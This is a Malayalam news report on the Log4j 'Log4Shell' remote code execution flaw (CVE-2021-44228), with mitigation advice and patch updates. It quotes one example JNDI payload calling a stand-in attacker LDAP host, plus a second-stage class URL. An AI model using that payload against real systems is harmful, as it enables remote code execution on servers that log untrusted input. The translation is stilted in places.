Apache Log4j-ലെ വിനാശകരമായ അപകടസാധ്യത നിരവധി ജാവ പ്രോജക്റ്റുകളെ ബാധിക്കുന്നു

ജാവ ആപ്ലിക്കേഷനുകളിൽ ലോഗിംഗ് സംഘടിപ്പിക്കുന്നതിനുള്ള ഒരു ജനപ്രിയ ചട്ടക്കൂടായ Apache Log4j-ൽ, “{jndi:URL}” ഫോർമാറ്റിൽ പ്രത്യേകം ഫോർമാറ്റ് ചെയ്‌ത മൂല്യം ലോഗിൽ എഴുതുമ്പോൾ അനിയന്ത്രിതമായ കോഡ് എക്‌സിക്യൂട്ട് ചെയ്യാൻ അനുവദിക്കുന്ന ഒരു ഗുരുതരമായ കേടുപാടുകൾ തിരിച്ചറിഞ്ഞിട്ടുണ്ട്. ബാഹ്യ ഉറവിടങ്ങളിൽ നിന്ന് ലഭിച്ച മൂല്യങ്ങൾ ലോഗ് ചെയ്യുന്ന ജാവ ആപ്ലിക്കേഷനുകളിൽ ആക്രമണം നടത്താം, ഉദാഹരണത്തിന്, പിശക് സന്ദേശങ്ങളിൽ പ്രശ്നമുള്ള മൂല്യങ്ങൾ പ്രദർശിപ്പിക്കുമ്പോൾ.

സ്റ്റീം, ആപ്പിൾ ഐക്ലൗഡ്, മൈൻക്രാഫ്റ്റ് ക്ലയൻ്റുകൾ, സെർവറുകൾ എന്നിവയുൾപ്പെടെ അപ്പാച്ചെ സ്‌ട്രട്ട്‌സ്, അപ്പാച്ചെ സോൾർ, അപ്പാച്ചെ ഡ്രൂയിഡ് അല്ലെങ്കിൽ അപ്പാച്ചെ ഫ്ലിങ്ക് പോലുള്ള ചട്ടക്കൂടുകൾ ഉപയോഗിക്കുന്ന മിക്കവാറും എല്ലാ പ്രോജക്‌റ്റുകളും പ്രശ്‌നം ബാധിച്ചതായി ശ്രദ്ധിക്കപ്പെടുന്നു. അപ്പാച്ചെ സ്‌ട്രട്ട്‌സ് ചട്ടക്കൂടിലെ നിർണായകമായ കേടുപാടുകളുടെ ചരിത്രം ആവർത്തിക്കുന്ന, കോർപ്പറേറ്റ് ആപ്ലിക്കേഷനുകളിൽ വൻതോതിലുള്ള ആക്രമണങ്ങളുടെ ഒരു തരംഗത്തിലേക്ക് ഈ ദുർബലത നയിക്കുമെന്ന് പ്രതീക്ഷിക്കുന്നു, ഇത് ഏകദേശ കണക്കനുസരിച്ച്, ഫോർച്യൂണിൻ്റെ 65% വെബ് ആപ്ലിക്കേഷനുകളിൽ ഉപയോഗിക്കുന്നു. ദുർബലമായ സിസ്റ്റങ്ങൾക്കായി നെറ്റ്‌വർക്ക് സ്കാൻ ചെയ്യാനുള്ള ശ്രമങ്ങൾ ഉൾപ്പെടെ 100 കമ്പനികൾ.

ഒരു വർക്കിംഗ് എക്‌പ്ലോയിറ്റ് ഇതിനകം പ്രസിദ്ധീകരിച്ചിട്ടുണ്ട്, എന്നാൽ സ്ഥിരതയുള്ള ശാഖകൾക്കുള്ള പരിഹാരങ്ങൾ ഇതുവരെ സമാഹരിച്ചിട്ടില്ല എന്നത് പ്രശ്നം കൂടുതൽ വഷളാക്കുന്നു. CVE ഐഡൻ്റിഫയർ ഇതുവരെ നൽകിയിട്ടില്ല. log4j-2.15.0-rc1 ടെസ്റ്റ് ബ്രാഞ്ചിൽ മാത്രമേ ഫിക്സ് ഉൾപ്പെടുത്തിയിട്ടുള്ളൂ. അപകടസാധ്യത തടയുന്നതിനുള്ള ഒരു പരിഹാരമെന്ന നിലയിൽ, log4j2.formatMsgNoLookups പാരാമീറ്റർ true ആയി സജ്ജമാക്കാൻ ശുപാർശ ചെയ്യുന്നു.

JNDI (Java Naming and Directory Interface) ക്വറികൾ എക്സിക്യൂട്ട് ചെയ്യാവുന്ന, ലോഗിലേക്കുള്ള ലൈനുകളുടെ ഔട്ട്‌പുട്ടിൽ പ്രത്യേക മാസ്കുകൾ “{}” പ്രോസസ്സ് ചെയ്യുന്നതിനെ log4j പിന്തുണയ്‌ക്കുന്നു എന്നതാണ് പ്രശ്‌നത്തിന് കാരണമായത്. "${jndi:ldap://attacker.com/a}" എന്നതിന് പകരമായി ഒരു സ്‌ട്രിംഗ് കടന്നുപോകുന്നതിന് ആക്രമണം തിളച്ചുമറിയുന്നു, ഏത് log4j ആണ് ജാവ ക്ലാസിലേക്കുള്ള പാതയ്ക്കായി attacker.com സെർവറിലേക്ക് LDAP അഭ്യർത്ഥന അയയ്ക്കുന്നത്. . ആക്രമണകാരിയുടെ സെർവർ തിരികെ നൽകുന്ന പാത (ഉദാഹരണത്തിന്, http://second-stage.attacker.com/Exploit.class) നിലവിലെ പ്രക്രിയയുടെ പശ്ചാത്തലത്തിൽ ലോഡ് ചെയ്യുകയും എക്‌സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യും, ഇത് ആക്രമണകാരിയെ അനിയന്ത്രിതമായ കോഡ് എക്‌സിക്യൂട്ട് ചെയ്യാൻ അനുവദിക്കുന്നു. നിലവിലെ ആപ്ലിക്കേഷൻ്റെ അവകാശങ്ങളുള്ള സിസ്റ്റം.

അനുബന്ധം 1: അപകടസാധ്യതയ്ക്ക് CVE-2021-44228 എന്ന ഐഡൻ്റിഫയർ നൽകിയിട്ടുണ്ട്.

അനുബന്ധം 2: log4j-2.15.0-rc1 റിലീസ് വഴി ചേർത്ത പരിരക്ഷയെ മറികടക്കുന്നതിനുള്ള ഒരു മാർഗ്ഗം തിരിച്ചറിഞ്ഞു. ഒരു പുതിയ അപ്ഡേറ്റ്, log4j-2.15.0-rc2, അപകടസാധ്യതയിൽ നിന്ന് കൂടുതൽ പൂർണ്ണമായ സംരക്ഷണത്തോടെ നിർദ്ദേശിക്കപ്പെട്ടിരിക്കുന്നു. തെറ്റായി ഫോർമാറ്റ് ചെയ്ത JNDI URL ഉപയോഗിക്കുന്ന സാഹചര്യത്തിൽ അസാധാരണമായ ഒരു അവസാനിപ്പിക്കലിൻ്റെ അഭാവവുമായി ബന്ധപ്പെട്ട മാറ്റം കോഡ് എടുത്തുകാണിക്കുന്നു.

അവലംബം: opennet.ru